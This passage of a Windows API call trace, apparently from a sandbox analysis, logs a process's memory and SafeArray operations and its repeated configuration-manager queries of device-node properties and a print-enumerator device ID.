SafeArrayPutElement (psa=0x196ee7bec60, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0192.945] free (_Block=0x196ef0d1ba0) [0192.945] malloc (_Size=0x18) returned 0x196ef0d20a0 [0192.945] SafeArrayPutElement (psa=0x196ee7bec60, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0192.945] free (_Block=0x196ef0d20a0) [0192.945] malloc (_Size=0x18) returned 0x196ef0d1d40 [0192.945] SafeArrayPutElement (psa=0x196ee7bec60, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0192.945] free (_Block=0x196ef0d1d40) [0192.945] malloc (_Size=0x18) returned 0x196ef0d1960 [0192.945] SafeArrayPutElement (psa=0x196ee7bec60, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0192.945] free (_Block=0x196ef0d1960) [0192.945] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0192.945] SafeArrayPutElement (psa=0x196ee7bec60, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0192.946] free (_Block=0x196ef0d1ac0) [0192.946] malloc (_Size=0x18) returned 0x196ef0d1f80 [0192.946] SafeArrayPutElement (psa=0x196ee7bec60, rgIndices=0x67117d6d8, pv=0x196ee79a5a8) returned 0x0 [0192.946] free (_Block=0x196ef0d1f80) [0192.946] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856860 [0192.946] SafeArrayGetDim (psa=0x196ee7bec60) returned 0x1 [0192.946] SafeArrayGetLBound (in: psa=0x196ee7bec60, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0192.946] SafeArrayGetUBound (in: psa=0x196ee7bec60, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0192.946] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b63e0 [0192.946] SafeArrayGetDim (psa=0x196ee7bec60) returned 0x1 [0192.946] SafeArrayGetUBound (in: psa=0x196ee7bec60, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0192.946] SafeArrayGetElemsize (psa=0x196ee7bec60) returned 0x8 [0192.946] SafeArrayGetElement (in: psa=0x196ee7bec60, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0192.947] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee10, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0192.947] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee18, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0192.947] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee20, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0192.947] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee28, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0192.948] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee30, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0192.948] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee38, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0192.948] memcpy (in: _Dst=0x67117d268, _Src=0x196ee7bee40, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0192.949] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b63e0) returned 1 [0192.950] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856860) returned 1 [0192.950] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0192.950] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0192.950] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0192.951] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0192.951] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0192.951] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0192.951] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0192.951] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0192.951] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0192.951] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0192.952] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0192.952] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0192.952] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0192.952] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0192.952] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0192.952] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0192.952] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0192.953] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0192.953] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0192.953] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0192.953] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0192.953] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0192.953] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0192.953] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0192.954] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2a, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0192.958] malloc (_Size=0x48) returned 0x196ef0fbae0 [0192.959] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x53dd7ed5, dwHighDateTime=0x1d9eb0c)) [0192.959] SetEvent (hEvent=0x248) returned 1 [0192.960] SetEvent (hEvent=0x248) returned 1 [0192.960] free (_Block=0x196ef0fbae0) [0192.960] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2a, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0192.961] malloc (_Size=0x48) returned 0x196ef0fbf40 [0192.961] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x53dd7ed5, dwHighDateTime=0x1d9eb0c)) [0192.961] SetEvent (hEvent=0x248) returned 1 [0192.962] SetEvent (hEvent=0x248) returned 1 [0192.962] free (_Block=0x196ef0fbf40) [0192.962] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2a, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0192.963] malloc (_Size=0x48) returned 0x196ef0fc080 [0192.963] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x53dd7ed5, dwHighDateTime=0x1d9eb0c)) [0192.963] SetEvent (hEvent=0x248) returned 1 [0193.138] SetEvent (hEvent=0x248) returned 1 [0193.139] free (_Block=0x196ef0fc080) [0193.139] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2a, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0193.140] malloc (_Size=0x48) returned 0x196ef0fbf40 [0193.140] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x53fa228b, dwHighDateTime=0x1d9eb0c)) [0193.140] SetEvent (hEvent=0x248) returned 1 [0193.147] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0193.147] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0193.147] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0193.147] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0193.147] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0193.148] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0193.148] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0193.148] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0193.148] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0193.148] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0193.149] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0193.149] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0193.149] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0193.149] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0193.149] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0193.149] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0193.150] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0193.150] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0193.150] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0193.150] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0193.150] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0193.151] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0193.151] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0193.151] malloc (_Size=0x18) returned 0x196ef0d1de0 [0193.151] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2a, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0193.154] malloc (_Size=0x48) returned 0x196ef0fb270 [0193.154] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x53fc7de1, dwHighDateTime=0x1d9eb0c)) [0193.155] SetEvent (hEvent=0x248) returned 1 [0193.158] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0193.158] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0193.158] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0193.158] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0193.158] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0193.158] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0193.159] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0193.159] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0193.159] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0193.159] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0193.159] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0193.159] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0193.159] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0193.160] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0193.160] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0193.160] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0193.160] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0193.160] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0193.161] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0193.161] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0193.161] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0193.161] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0193.161] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0193.162] malloc (_Size=0x18) returned 0x196ef0d1d20 [0193.162] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x2a, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0193.162] malloc (_Size=0x48) returned 0x196ef0fba40 [0193.162] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x53fc7de1, dwHighDateTime=0x1d9eb0c)) [0193.162] SetEvent (hEvent=0x248) returned 1 [0193.170] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0193.170] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0193.170] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0193.171] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0193.171] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0193.171] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0193.171] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0193.171] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0193.172] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0193.172] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0193.172] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0193.172] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0193.172] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0193.173] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0193.173] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0193.173] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0193.173] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0193.173] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0193.174] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0193.174] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0193.174] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0193.174] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0193.174] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0193.174] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0193.175] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x2a, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0193.175] malloc (_Size=0x48) returned 0x196ef0fb680 [0193.175] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x53ff2bc2, dwHighDateTime=0x1d9eb0c)) [0193.176] SetEvent (hEvent=0x248) returned 1 [0193.179] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0193.179] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0193.180] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0193.180] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0193.180] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0193.180] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0193.180] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0193.181] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0193.181] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0193.181] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0193.181] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0193.181] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0193.182] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0193.182] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0193.182] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0193.182] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0193.182] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0193.183] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0193.567] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0193.567] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0193.567] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0193.567] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0193.567] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0193.568] malloc (_Size=0x18) returned 0x196ef0d1ce0 [0193.568] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2a, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0193.568] malloc (_Size=0x48) returned 0x196ef0fbfe0 [0193.568] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x543af301, dwHighDateTime=0x1d9eb0c)) [0193.568] SetEvent (hEvent=0x248) returned 1 [0193.573] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0193.573] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0193.573] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0193.574] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0193.574] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0193.574] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0193.574] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0193.574] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0193.575] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0193.575] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0193.575] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0193.575] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0193.575] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0193.575] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0193.575] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0193.576] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0193.576] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0193.576] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0193.576] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0193.576] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0193.576] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0193.576] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0193.577] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0193.577] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0193.577] CM_Get_Device_IDA (in: dnDevInst=0x2b, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="SWD\\PRINTENUM\\{F8947BB0-075C-45F9-86B2-578590F8FCA9}") returned 0x0 [0193.577] malloc (_Size=0x48) returned 0x196ef0fba40 [0193.577] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x543cdeac, dwHighDateTime=0x1d9eb0c)) [0193.577] SetEvent (hEvent=0x248) returned 1 [0193.580] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0193.580] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0193.580] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0193.580] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0193.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0193.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0193.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0193.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0193.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0193.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0193.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0193.581] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0193.582] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0193.582] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0193.582] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0193.582] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0193.582] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0193.582] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0193.582] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0193.582] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0193.583] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0193.583] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 